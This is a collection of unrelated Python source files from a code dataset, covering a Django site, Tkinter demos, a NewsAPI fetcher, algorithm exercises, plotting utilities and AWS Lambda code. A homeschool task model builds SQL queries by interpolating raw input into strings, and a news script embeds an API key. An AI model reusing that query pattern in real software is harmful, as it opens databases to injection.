1\n\n\n\n# go = data.iloc[i]['Gene_ontology_(molecular_function)']\n# go = go.split(';')\n# go_new = list()\n# for j in range(len(go)):\n# if go[j][1:3] == 'GO':\n# go_new.append(go[j][1:-1])\n\n# if len(go_new) != 0: \n# new.at[i, 'Gene_ontology_(molecular_function)'] = go_new\n\n\nprint('these groups did not have an identifier: ' + str(empty))\nprint('they were : ' + str(empty_counter) + ' in total')\n\nsamples = list(set(sample_list))\n\nthefile = open('at_sample_proteins.csv', 'w')\nfor item in samples:\n thefile.write(\"%s\\n\" % item)\n\nprint(len(sample_list))\nprint(len(samples))\n\n#new.to_csv('at_sample_prot_file.csv', sep='\\t', index=None, header=False)\n'''\n","sub_path":"pfam_domain_distribution.py","file_name":"pfam_domain_distribution.py","file_ext":"py","file_size_in_byte":6913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653198422","text":"from models.config import connection\n\n\ndef insert_task(grade, day, hour, date, descr):\n curr_id = get_current_task_id()\n with connection.cursor() as cursor:\n query = f\"insert into task values (Null, '{grade}', {day}, '{hour}', '{date}', '{descr}');\"\n cursor.execute(query)\n connection.commit()\n print(\"inserted\")\n insert_student_task(grade, curr_id)\n\n\ndef get_current_task_id():\n with connection.cursor() as cursor:\n query = \"SELECT `AUTO_INCREMENT` FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'homeschooldb' AND TABLE_NAME = 'task';\"\n cursor.execute(query)\n result = cursor.fetchall()\n print(result)\n return result[0]['AUTO_INCREMENT']\n\n\ndef get_tasks_by_class_and_date(class_, date):\n with connection.cursor() as cursor:\n query = \"select homework from lesson where class = '{}' and date = {}\".format(class_, date)\n cursor.execute(query)\n tasks = cursor.fetchall()\n return tasks\n\n\ndef get_all_students(class_):\n with connection.cursor() as cursor:\n query = f\"select name_ from student where class = '{class_}'\"\n cursor.execute(query)\n students = cursor.fetchall()\n return students\n\n\ndef insert_student_task(class_, task_id):\n students = get_all_students(class_)\n with connection.cursor() as cursor:\n for student in students:\n query = f\"insert into student_task values('{student['name_']}', {task_id}, 0)\"\n cursor.execute(query)\n connection.commit()\n print(\"insert students\")\n","sub_path":"models/upload_task_model.py","file_name":"upload_task_model.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314118231","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.views.generic import TemplateView\nfrom django.views.generic import ListView\nfrom django.views.generic import DetailView\nfrom el_pagination.views import AjaxListView\n\nfrom gitensite.apps.bookrepos.models import BookRepo\nfrom gitensite.apps.bookinfo.models import Book\n\nclass HomePageView(TemplateView):\n template_name = 'home.html'\n\n def get_context_data(self, **kwargs):\n context = super(HomePageView, self).get_context_data(**kwargs)\n return context\n\nclass NewsletterView(TemplateView):\n\n def get_template_names(self, **kwargs):\n return ['newsletters/{issue}.html'.format(\n issue=str(self.kwargs['issue'])\n )]\n\nclass SearchView(AjaxListView):\n model = Book\n template_name = 'book_list.html'\n page_template = 'book_list_page.html'\n\n def get_context_data(self, **kwargs):\n context = super(SearchView, self).get_context_data(**kwargs)\n\n return context\n\n def get_queryset(self):\n if self.request.GET.has_key('q'):\n return super(AjaxListView,self).get_queryset().filter(title__icontains=self.request.GET['q'])\n else:\n return super(AjaxListView,self).get_queryset()\n","sub_path":"gitensite/apps/content/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"638801554","text":"#!/usr/bin/python\nimport os\nimport shutil\nimport tkinter as tk\n\ngui = tk.Tk()\n\ngui.text = tk.StringVar()\ngui.text.set(\"Click the \\\"Execute Fix\\\" to continue...\")\n\n\ndef getmodfolder():\n return (\n os.path.dirname(\n os.getenv('APPDATA')\n ) + \"\\\\Local\\\\Introversion\\\\Prison Architect\\\\mods\\\\2611379081\"\n )\n\n\ndef copytree(src, dst, symlinks=False, ignore=None):\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s):\n shutil.copytree(s, d, symlinks, ignore)\n else:\n shutil.copy2(s, d)\n\n\ndef center(win):\n win.update_idletasks()\n width = win.winfo_width()\n height = win.winfo_height()\n x = (win.winfo_screenwidth() // 2) - (width // 2)\n y = (win.winfo_screenheight() // 2) - (height // 2)\n win.geometry('{}x{}+{}+{}'.format(width, height, x, y))\n\n\nnewDir = os.path.dirname(\n os.getenv('APPDATA')\n ) + \"\\\\Local\\\\Introversion\\\\Prison Architect\\\\mods\\\\CTM_Mod_Fixed\"\n\n\ndef callback():\n gui.text.set(\"Fixing mod...\")\n if os.path.isdir(getmodfolder()) and not os.path.exists(newDir):\n # Found the mod folder\n os.makedirs(newDir)\n copytree(getmodfolder(), newDir)\n\n # Now, we're going to open the manifest and delete the FileID.\n manifest = open(newDir + \"/\" + \"manifest.txt\")\n lines = manifest.readlines()\n # Close the file.\n manifest.close()\n # Reopen in write mode\n manifest = open(newDir + \"/\" + \"manifest.txt\", \"w\")\n for line in lines:\n if line != \"FileID F261379081\"+\"\\n\":\n if \"Name\" in line:\n manifest.write(\"Name \\\"CTM Fixed\\\"\" + \"\\n\")\n else:\n manifest.write(line)\n # And close it once more\n manifest.close()\n gui.text.set(\"Fix complete!\")\n else:\n if not os.path.isdir(getmodfolder()):\n gui.text.set(\"Unable to locate mod folder. Are you subscribed to CTM?\")\n else:\n gui.text.set(\"You already applied the fix!\")\n\n\ndef close():\n gui.quit()\n\ngui.geometry(\"375x25\")\ngui.wm_title(\"Creative Grant Mod Fixer\")\ncenter(gui)\n\n# Now, we're going to add our widgets...\nbtn_1 = tk.Button(gui, text=\"Execute Fix\", command=callback).pack(side=\"left\")\nbtn_2 = tk.Button(gui, text=\"Close\", command=close).pack(side=\"left\")\n\nlbl_1 = tk.Label(gui, textvariable=gui.text).pack()\n\ngui.mainloop()","sub_path":"out/CTMFixer.py","file_name":"CTMFixer.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314033244","text":"import hailtop.batch as hb \n\nbackend = hb.ServiceBackend(\n billing_project='leonhardgruenschloss-trial',\n bucket='leo-tmp-au')\n\nb = hb.Batch(backend=backend, name='inner') \n\nj = b.new_job(name='hello') \nj.command('echo \"hello world\"') \n\nb.run()\n","sub_path":"inner.py","file_name":"inner.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"444970995","text":"#!/usr/bin/python\r\n\r\n# Comment start with #\r\n# No multiple line comment\r\n\r\n##-----------------------------------------------------------------------------\r\n# Access options (Button=btnName)\r\n# btnName['state']=DISABLE/NORMAL\r\n# btnName['text']=\"Name of Button\"\r\n\r\n\r\n\r\nimport tkinter as tk\r\nfrom tkinter import messagebox as msgBox #import tkMessageBox\r\n\r\ntop = tk.Tk()\r\ntop.title('Button widget')\r\ntop.geometry('400x200')\r\n\r\ndef helloCallBack():\r\n msgBox.showinfo (\"Title Python\", \"Message : Hello\")\r\n print ('state : ', btnHello['state'])\r\n print ('text :', btnHello['text'])\r\n\r\ndef InfoCallBack():\r\n msgBox.showinfo (\"Information\", \"This is info Only\")\r\n\r\ncolorBG = \"#0000f0\" # notice color must be 6 hex digits (#123abc)\r\nbtnHello = tk.Button (top, text = \"Hello\", command = helloCallBack, fg=\"gray\", highlightcolor=\"red\")\r\n#btnInfo = tk.Button (top, text = \" Info \", command = InfoCallBack, fg=\"Green\", bg=\"gray\")\r\nbtnInfo = tk.Button (top, text = \" Info \", command = InfoCallBack, fg=\"#ff0000\", bg=colorBG, justify=\"right\", width=20)\r\n\r\nbtnHello.grid()\r\nbtnInfo.grid()\r\n\r\n\r\nbtn1 = tk.Button (top, text=\"New Button\")\r\nbtn1.grid()\r\n\r\ntop.mainloop() \r\n\r\n\r\n# NOTE:\r\n# https://mail.python.org/pipermail//tkinter-discuss/2011-August/002916.html\r\n# - tkMessageBox has been renamed to messagebox in Python 3.x.\r\n# - Module is not available in tkinter\r\n# - code : from tkinter import messagebox\r\n\r\n# http://www.tutorialspoint.com/python/tk_button.htm\r\n# http://www.tutorialspoint.com/python/python_gui_programming.htm # GUI Programming\r\n#\r\n# http://www.tutorialspoint.com/python/tk_colors.htm\r\n#\r\n","sub_path":"tkinter/tkinter_grid/Button.py","file_name":"Button.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"480077964","text":"# (7) Prime Miniers of the UK\r\n\r\ntextFile = open(\"UKPrimeMiniser.txt\", \"w\")\r\n\r\n#print(\"(Debug) Writing to UKPrimeMinister.txt\") # Debug --> Tells your if the code gets to this point\r\n\r\ntextFile.write(\"Last seven UK Prime Minisers and term of office. \\n\")\r\ntextFile.write(\"\\n\")\r\ntextFile.write(\"Boris Johnson -> 2019 - current \\n\")\r\ntextFile.write(\"Theresa May -> 2016 - 2019 \\n\")\r\ntextFile.write(\"David Cameron -> 2010 - 2016 \\n\")\r\ntextFile.write(\"Gordon Brown -> 2007 - 2010 \\n\")\r\ntextFile.write(\"Tony Blair -> 1997 - 2007 \\n\")\r\ntextFile.write(\"John Major -> 1990 - 1997 \\n\")\r\ntextFile.write(\"Mararet Thatcher -> 1979 - 1990 \\n\")\r\n#print(\"(Debug) Writen to UKPrimeMinister.txt\") # Debug --> Tells your if the code gets to this point\r\ntextFile.close()\r\n\r\ntextFile = open(\"UKPrimeMiniser.txt\", \"r\")\r\n#print(\"(Debug) Reading to UKPrimeMinister.txt\") # Debug --> Tells your if the code gets to this point\r\nprint(textFile.read())\r\ntextFile.close()\r\n","sub_path":"Text File Work/Prime Minsters UK.py","file_name":"Prime Minsters UK.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"219187863","text":"# figure out how to request an article and its headline\n# method to be used in keywordExtractor\n# should pull headlines \n# get URL of where the headlines exist\n\n# Pair programming Authors: \n# Driver: Niran Prajapati\n# Observer: Alexandra Garton\n\nfrom newsapi import NewsApiClient\n\nfrom logTool import Log\n\n\ndef get_headlines(source):\n \n newsApi = NewsApiClient(api_key = '3bd762aea6134796b564d8e18df60cf8') # handle authentication with a News API key (registered using zjcarvin@outlook.com)\n titles = []\n urls = []\n\n try:\n \t# get top headlines from \"source\"\n \ttop_headlines = newsApi.get_top_headlines(sources = source, language = 'en')\n except Exception as e:\n \tLog('error', repr(e))\n else:\n \tnum_articles = len(top_headlines['articles'])\n\n \tif (num_articles > 0):\n \t\t# get and append all article URL's\n \t\tfor i in range(num_articles):\n \t\t\ttitles.append(top_headlines['articles'][i]['title'])\n \t\t\turls.append(top_headlines['articles'][i]['url'])\n \telse:\n \t\tLog('warning', 'The top headline list is empty.')\n \n return titles, urls\n\n############ END OF FEATURE ############ \n\n# test purposes only\nif __name__ == '__main__':\n\tprint(get_headlines('bbc-news'))","sub_path":"SpotifyNews/pullNews.py","file_name":"pullNews.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161327687","text":"'''\nSo went to a Casino recently. I noticed at the Blackjack tables the house tends\nto use several decks and not 1. My mind began to wonder about how likely natural\nblackjacks (getting an ace and a card worth 10 points on the deal) can occur.\n\nSo for this monday challenge lets look into this. We need to be able to shuffle\ndeck of playing cards. (52 cards) and be able to deal out virtual 2 card hands\nand see if it totals 21 or not.\n\n Develop a way to shuffle 1 to 10 decks of 52 playing cards.\n Using this shuffle deck(s) deal out hands of 2s\n count how many hands you deal out and how many total 21 and output the percentage.\n\nInput:\n\nn: being 1 to 10 which represents how many deck of playing cards to shuffle together.\nOutput:\n\nAfter x hands there was y blackjacks at z%.\nExample Output:\n\nAfter 26 hands there was 2 blackjacks at %7.\n\n'''\nimport random\n\ndeck = {'Ace': 11,\n 'King': 10,\n 'Queen': 10,\n 'Jack': 10,\n 'Ten': 10,\n 'Nine': 9,\n 'Eight': 8,\n 'Seven': 7,\n 'Six': 6,\n 'Five': 5,\n 'Four': 4,\n 'Three': 3,\n 'Two': 2\n }\n\nwin =0\nlose = 0\nlst = []\nacc = 0\nhands = 0\nwhile hands < 26:\n acc = 0\n lst = []\n while acc < 2:\n # key/value pair\n candidate = random.choice(list(deck.keys()))\n # value\n valu = deck.get(candidate)\n lst.append(valu)\n acc += 1\n score = sum(lst)\n if score == 21:\n win += 1\n else:\n lose += 1\n hands += 1\n score = 0\n#print(win,lose)\n\nprint('After 26 hands there were ' + str(win) + ' blackjacks at ' + str(round(win/26 * 100, 2)) + '%')","sub_path":"albums/3/challenge161_easy/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"583660386","text":"# Given a binary tree and a number sequence, find if the sequence is present\n# as a root-to-leaf path in the given tree.\n\n\ndef find_path(root, sequence):\n if not root and not sequence:\n return True\n\n def dfs(root, sequence, curr):\n if not root:\n return sequence == curr\n curr.append(root.val)\n left = dfs(root.left, sequence, curr)\n right = dfs(root.right, sequence, curr)\n curr.pop()\n return left or right\n\n return dfs(root, sequence, [])\n","sub_path":"tree dfs/4.path_with_given_sequence.py","file_name":"4.path_with_given_sequence.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"131795074","text":"from lie_learn.representations.SO3.spherical_harmonics import rsh\nimport numpy as np\nimport plotly\nimport plotly.plotly as py\nfrom plotly.graph_objs import *\nfrom plotly.graph_objs.layout.scene import *\nimport os\nimport matplotlib.pyplot as plt\n\n#plotly.tools.set_credentials_file(username=os.environ['plotly_user'], api_key=os.environ['plotly_key'])\n\nDEFAULT_AXIS = dict(showbackground=True,\n backgroundcolor=\"rgb(230, 230,230)\",\n gridcolor=\"rgb(255, 255, 255)\",\n zerolinecolor=\"rgb(255, 255, 255)\",\n )\n\nDEFAULT_LAYOUT = Layout(showlegend=False,\n width=500,\n height=500)\n\ndef get_random_coords(rnd, num_coords):\n coords = rnd.randn(num_coords,3)\n coords /= np.linalg.norm(coords, axis=-1, keepdims=True)\n# No origin for now\n# coords = np.concatenate((coords, [[0., 0., 0.]]), axis=0)\n return coords\n\ndef xyz_to_phi_theta(x):\n phi = np.arccos(x[...,2] / np.linalg.norm(x, axis=-1))\n theta = np.arctan2(x[..., 0], x[..., 1])\n return phi, theta\n\ndef get_Ylm_coeffs(phi, theta, L_max=5, sum=True):\n Ls = np.array([l for l in range(0, L_max + 1, 1) for m in range(-l, l+1)])\n Ls = Ls.reshape(*[-1, *np.ones(len(phi.shape), dtype=int)])\n Ms = np.array([m for l in range(0, L_max + 1, 1) for m in range(-l, l+1)])\n Ms = Ms.reshape(*[-1, *np.ones(len(phi.shape), dtype=int)])\n ylms = rsh(Ls, Ms, np.expand_dims(phi, axis=0), np.expand_dims(theta, axis=0))\n if sum:\n return np.sum(ylms, axis=-1)\n else:\n return ylms\n\ndef spherical_plotly_trace(coeff, L_max, num_angular_points=200):\n phi = np.expand_dims(np.linspace(0, np.pi, num_angular_points), axis=0)\n theta = np.expand_dims(np.linspace(0, 2 * np.pi, num_angular_points), axis=-1)\n \n # Phi is 0 to pi and theta 0 to 2 pi\n x = np.sin(phi) * np.sin(theta)\n y = np.sin(phi) * np.cos(theta)\n z = np.cos(phi) * np.ones(theta.shape)\n \n Ls = np.expand_dims(np.expand_dims(\n np.array([l for l in range(0, L_max + 1, 1) for m in range(-l, l+1)]), axis=-1), axis=-1)\n Ms = np.expand_dims(np.expand_dims(\n np.array([m for l in range(0, L_max + 1, 1) for m in range(-l, l+1)]), axis=-1), axis=-1)\n coeff = np.expand_dims(np.expand_dims(coeff, axis=-1), axis=-1)\n Ys = np.sum(coeff * rsh(Ls, Ms, np.expand_dims(phi, axis=0), np.expand_dims(theta, axis=0)), axis=0)\n return x, y, z, Ys\n\ndef visualize_spharm_and_coords(real_coords, pred_coord, L_max=8, num_angular_points=200):\n\n angles = xyz_to_phi_theta(real_coords)\n coeffs = get_Ylm_coeffs(*angles, L_max=L_max)\n print(coeffs.shape)\n x, y, z, Y_signal = spherical_plotly_trace(coeffs, L_max=L_max, num_angular_points=num_angular_points)\n \n x2, y2, z2 = real_coords[:, 0], real_coords[:, 1], real_coords[:, 2]\n x3, y3, z3 = pred_coord[:, 0], pred_coord[:, 1], pred_coord[:, 2]\n \n trace = Surface(x=x,\n y=y,\n z=z,\n showscale=True, \n surfacecolor=Y_signal,\n opacity=0.75)\n \n trace2 = Scatter3d(x=x2,\n y=y2,\n z=z2, mode='markers')\n\n trace3 = Scatter3d(x=x3,\n y=y3,\n z=z3, mode='markers')\n \n data = [trace, trace2, trace3]\n fig = Figure(data=data, layout=DEFAULT_LAYOUT)\n return fig\n\ndef visualize_coeff_series(coeffs, L_max=8, num_angular_points=200, cmin=None, cmax=None): \n make_trace = lambda x: spherical_plotly_trace(x, L_max=L_max, num_angular_points=num_angular_points)\n data = data = [Surface(x=x, y=y, z=z, visible=False, name = 'x= '+str(step),\n showscale=True, surfacecolor=Y_signal, cmin=cmin, cmax=cmax) \n for step, (x, y, z, Y_signal) in zip(range(len(coeffs)), map(make_trace, coeffs))] \n\n data[0]['visible'] = True\n \n steps = []\n for i in range(len(data)):\n step = dict(\n method = 'restyle', \n args = ['visible', [False] * len(data)],\n )\n step['args'][1][i] = True # Toggle i'th trace to \"visible\"\n steps.append(step)\n \n sliders = [dict(\n active = 0,\n currentvalue = {\"prefix\": \"x: \"},\n pad = {\"t\": 50},\n steps = steps\n )]\n \n layout = dict(sliders=sliders)\n fig = dict(data=data, layout=layout)\n return fig \n","sub_path":"linus/sph_projection_utils.py","file_name":"sph_projection_utils.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"252848360","text":"# Adding Two Negabinary Numbers\n# Given two numbers arr1 and arr2 in base -2, return the result of adding them together.\n# Each number is given in array format: as an array of 0s and 1s, from most significant bit to least significant bit. \n# For example, arr = [1,1,0,1] represents the number (-2)^3 + (-2)^2 + (-2)^0 = -3. A number arr in array format is also \n# guaranteed to have no leading zeros: either arr == [0] or arr[0] == 1.\n\n# Return the result of adding arr1 and arr2 in the same format: as an array of 0s and 1s with no leading zeros.\n\n# conditions\n# 1 <= arr1.length <= 1000\n# 1 <= arr2.length <= 1000\n# arr1 and arr2 have no leading zeros\n# arr1[i] is 0 or 1\n# arr2[i] is 0 or 1\n\n# code\nclass Solution: \n def addNegabinary(self, arr1: List[int], arr2: List[int]) -> List[int]:\n count = [0] * 2000\n n1 = len(arr1)\n n2 = len(arr2)\n for i, x in enumerate(arr1):\n actual = n1 - i - 1\n if x: count[actual] += 1\n for i, x in enumerate(arr2):\n actual = n2 - i - 1\n if x: count[actual] += 1\n for i in range(1500):\n while count[i] > 1:\n if count[i + 1]:\n count[i] -= 2\n count[i + 1] -= 1\n else:\n count[i] -= 2\n count[i + 1] += 1\n count[i + 2] += 1\n count.reverse()\n if 1 not in count: return [0]\n return count[count.index(1):]\n","sub_path":"Exercises/addNegabinary.py","file_name":"addNegabinary.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"330201496","text":"'''\n\t@ Travis Drake (EklipZ) eklipz.io - tdrake0x45 at gmail)\n\tApril 2017\n\tGenerals.io Automated Client - https://github.com/harrischristiansen/generals-bot\n\tEklipZ bot - Tries to play generals lol\n'''\n\nimport logging\nimport time\nimport json\nfrom SearchUtils import *\nfrom test.test_float import INF\n\nfrom base.client.map import new_map_matrix\n\n\n# attempts to classify tiles into territories.\nclass TerritoryClassifier():\n\tdef __init__(self, map):\n\t\tself.territories = [None for player in map.players]\n\t\tself.map = map\n\t\tself.lastCalculatedTurn = -1\n\t\tself.territoryMap = new_value_matrix(self.map, -1)\n\t\tself.needToUpdateAroundTiles = set()\n\t\tfor tile in self.map.pathableTiles:\n\t\t\tself.needToUpdateAroundTiles.add(tile)\n\n\tdef __getstate__(self):\n\t\tstate = self.__dict__.copy()\n\t\tif \"map\" in state:\n\t\t\tdel state[\"map\"]\n\t\treturn state\n\n\tdef __setstate__(self, state):\n\t\tself.__dict__.update(state)\n\t\tself.map = None\n\n\tdef should_recalculate(self, turn):\n\t\tif len(self.needToUpdateAroundTiles) > 0:\n\t\t\treturn True\n\t\treturn False\n\n\tdef revealed_tile(self, tile):\n\t\t\"\"\"\n\t\tWhen a tile is initially discovered, it should be used to weight territories as the player\n\t\tit was discovered as (to prevent the creep of neutral weighted discovery).\n\t\tNote that this gets immediately overwritten by the actual territory value for this tile,\n\t\tit is just used to weight the tiles around it during that cycle.\n\t\t\"\"\"\n\t\tself.territoryMap[tile.x][tile.y] = tile.player\n\t\tif tile.player != -1:\n\t\t\tfor movable in tile.movable:\n\t\t\t\tif not movable.discovered:\n\t\t\t\t\tself.territoryMap[movable.x][movable.y] = tile.player\n\n\tdef scan(self):\n\t\tlogging.info(\"Scanning map for territories, aww geez\")\n\t\tcounts = new_map_matrix(self.map, lambda x,y: [0 for n in range(len(self.map.players)+1)])\n\t\tstartTime = time.time()\n\t\tundiscoveredCounterDepth = 5\n\t\t# count the number of tiles for each player within range 3 to determine whose territory this is\n\t\tneutralNewIndex = len(self.map.players)\n\t\t\n\t\t# do a BFS foreach within a BFS foreach. Normal everyday stuff nbd\n\t\tdef foreach_near_updated_tiles(evaluatingTile):\n\t\t\tdef countFunc(tile):\n\t\t\t\tif tile.isMountain:\n\t\t\t\t\treturn\n\t\t\t\t\n\t\t\t\tcurrentTerritory = self.territoryMap[tile.x][tile.y]\n\t\t\t\tif not evaluatingTile.discovered:\n\t\t\t\t\t# weight based on territory already owned, making it harder to flip a territory (and hopefully better encapsulate who owns what)\n\t\t\t\t\tif currentTerritory != -1:\n\t\t\t\t\t\t# do NOT allow our player to own undiscovered territory. If owned by us, is neutral.\n\t\t\t\t\t\t# This prevents the undiscovered-tile-friendly-territory cascade from happening.\n\t\t\t\t\t\tif tile.discovered and not evaluatingTile.discovered and currentTerritory != self.map.player_index:\n\t\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][currentTerritory] += 0.3\n\t\t\t\t\t\telif currentTerritory == self.map.player_index:\n\t\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][neutralNewIndex] += 0.06\n\t\t\t\t\telse:\n\t\t\t\t\t\t# only discovered neutral tiles count, and only if we're trying to classify a neutral tile.\n\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][neutralNewIndex] += 0.02\n\t\t\t\telse:\n\t\t\t\t\t# undiscovereds count for the evaluating tile player\n\t\t\t\t\tif not tile.discovered:\n\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][evaluatingTile.player] += 0.2\n\t\t\t\t\telse:\n\t\t\t\t\t\tpIndex = tile.player\n\t\t\t\t\t\tif pIndex != -1 and pIndex != self.map.player_index:\n\t\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][pIndex] += 1\n\t\t\t\t\t\telif pIndex != -1: \n\t\t\t\t\t\t\t# weight our tiles less because we see more of them.\n\t\t\t\t\t\t\tcounts[evaluatingTile.x][evaluatingTile.y][pIndex] += 0.8\n\t\t\t\t\n\t\t\tskip = lambda tile: tile.player == -1 and tile.discovered\n\t\t\tbreadth_first_foreach(self.map, [evaluatingTile], undiscoveredCounterDepth, countFunc, skipFunc = skip, noLog = True)\n\t\t\tmaxPlayer = -1\n\t\t\tmaxValue = 0\n\t\t\tfor pIndex, value in enumerate(counts[evaluatingTile.x][evaluatingTile.y]):\n\t\t\t\tif value > maxValue:\n\t\t\t\t\tmaxPlayer = pIndex\n\t\t\t\t\tmaxValue = value\n\t\t\tuserName = \"Neutral\"\n\t\t\t\t\n\t\t\t# convert back to -1 index for neutral\n\t\t\tif maxPlayer == neutralNewIndex:\n\t\t\t\tmaxPlayer = -1\n\t\t\telse:\n\t\t\t\tuserName = self.map.usernames[maxPlayer]\n\n\t\t\tif evaluatingTile.player != maxPlayer and evaluatingTile.player != -1:\n\t\t\t\tlogging.info(\"Tile {} is in player {} {} territory\".format(evaluatingTile.toString(), maxPlayer, userName))\n\t\t\t\n\n\t\t\tself.territoryMap[evaluatingTile.x][evaluatingTile.y] = maxPlayer\n\t\tstartTiles = list(self.needToUpdateAroundTiles)\n\t\tlogging.info(\" Scanning territory around {}\".format(\" - \".join([tile.toString() for tile in startTiles])))\n\t\tbreadth_first_foreach(self.map, startTiles, undiscoveredCounterDepth, foreach_near_updated_tiles, None, lambda tile: tile.isMountain, None, self.map.player_index)\n\t\tduration = time.time() - startTime\n\t\t\t\n\t\tlogging.info(\"Completed scanning territories in {:.3f}\".format(duration))\n\t\tself.needToUpdateAroundTiles = set()","sub_path":"Territory.py","file_name":"Territory.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"219003873","text":"# Copyright 2020 Alex Woroschilow (alex.woroschilow@gmail.com)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nimport configparser\nimport glob\nimport os\nimport pathlib\n\nimport hexdi\n\nconsole = hexdi.resolve('console')\nif not console: raise Exception('Console service not found')\ndescription = \"Remove abandoned .desktop files and icons\"\n\n\n@console.task(name=['cleanup', 'clear'], description=description)\ndef main(options=None, args=None):\n integration = '/usr/share' if options.systemwide else \\\n os.path.expanduser('~/.local/share')\n\n config = configparser.RawConfigParser()\n config.optionxform = str\n\n existed = []\n for desktop in glob.glob('{}/applications/*.desktop'.format(integration)):\n if os.path.isdir(desktop):\n continue\n\n yield console.green(\"[found]: {}\".format(console.comment(os.path.basename(desktop))))\n\n desktop_name = pathlib.Path(desktop)\n desktop_name = desktop_name.stem\n\n config.read(desktop)\n\n property_exec = config.get('Desktop Entry', 'Exec')\n property_exec = property_exec.split(' ')\n property_exec = property_exec.pop(0)\n\n property_exec_name = pathlib.Path(property_exec)\n property_exec_name = property_exec_name.stem\n\n if property_exec_name != desktop_name:\n yield console.warning(\"[removing]: {}, binary name is not the same as the .desktop file name...\".\n format(os.path.basename(desktop)))\n os.remove(desktop)\n continue\n\n if not os.path.exists(property_exec):\n yield console.warning(\"[removing]: {}, binary not found...\".format(os.path.basename(desktop)))\n os.remove(desktop)\n continue\n\n existed.append(config.get('Desktop Entry', 'Icon'))\n continue\n\n for icon in glob.glob('{}/icons/*'.format(integration)):\n if os.path.isdir(icon):\n continue\n\n yield console.green(\"[found]: {}\".format(console.comment(os.path.basename(icon))))\n\n icon = pathlib.Path(icon)\n if icon.stem in existed:\n continue\n\n yield console.warning(\"[removing]: {}, .desktop file not found...\".\n format(os.path.basename(icon)))\n\n os.remove(icon)\n continue\n\n return 0\n","sub_path":"src/plugins/cmd_command_cleanup/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"460013440","text":"import logging\nimport boto3\nimport os\nimport pytz\nimport requests\nimport json\nimport feedparser\nfrom requests import RequestException\nfrom datetime import datetime\nfrom common_lib import detailed_exception, get_adjusted_unix_time\n\n# Log level\nlogging.basicConfig()\nLOGGER = logging.getLogger()\nif os.environ[\"DEBUG_MODE\"] == \"true\":\n LOGGER.setLevel(logging.DEBUG)\nelse:\n LOGGER.setLevel(logging.INFO)\n\n# Get AWS region and necessary clients\nNEWS_TABLE = os.environ[\"NEWS_TABLE_NAME\"]\nEXPIRY_DAYS_OFFSET = int(os.environ[\"DOCUMENT_EXPIRY_DAYS\"])\nDYNAMODB_RESOURCE = boto3.resource(\"dynamodb\")\nSSM_CLIENT = boto3.client(\"ssm\")\nS3_CLIENT = boto3.client(\"s3\")\nS3_BUCKET_NAME = os.environ[\"BUCKET_NAME\"]\n\n\ndef news_parser(news_json: dict):\n \"\"\"\n Given a news JSON item from the unaltered API Response, it retains specific information and creates a JSON formatted\n dictionary containing data needed by the DynamoDB table. Variable names for the dictionary are in camelCase.\n\n :param news_json: Unaltered JSON item from UBCO news API Response\n :return: JSON formatted item for DynamoDB storage\n \"\"\"\n parsed_news = {\n \"newsId\": str(news_json.get(\"post-id\", \"Null\")),\n \"title\": news_json.get(\"title\", \"Null\"),\n \"link\": news_json.get(\"id\", \"Null\"),\n \"summary\": news_json.get(\"summary\", \"Null\"),\n \"mediaThumbnail\": news_json.get(\"media_thumbnail\", []),\n \"categories\": [category[\"term\"] for category in news_json[\"tags\"]],\n \"dateModified\": str(datetime.strptime(news_json[\"published\"].split(\",\")[1][1:-6], \"%d %b %Y %H:%M:%S\"))\n }\n return parsed_news\n\n\ndef get_news_items_from_web(news_link: str):\n \"\"\"\n Makes a network request to the news RSS Feed and returns the result of the request.\n Logs a network error if any an returns an empty list in that case\n :param news_link: URL for the new RSS Feed\n :return: List of news items\n \"\"\"\n json_response = []\n try:\n feed_response = requests.get(news_link).text\n json_response = feedparser.parse(feed_response)[\"entries\"]\n 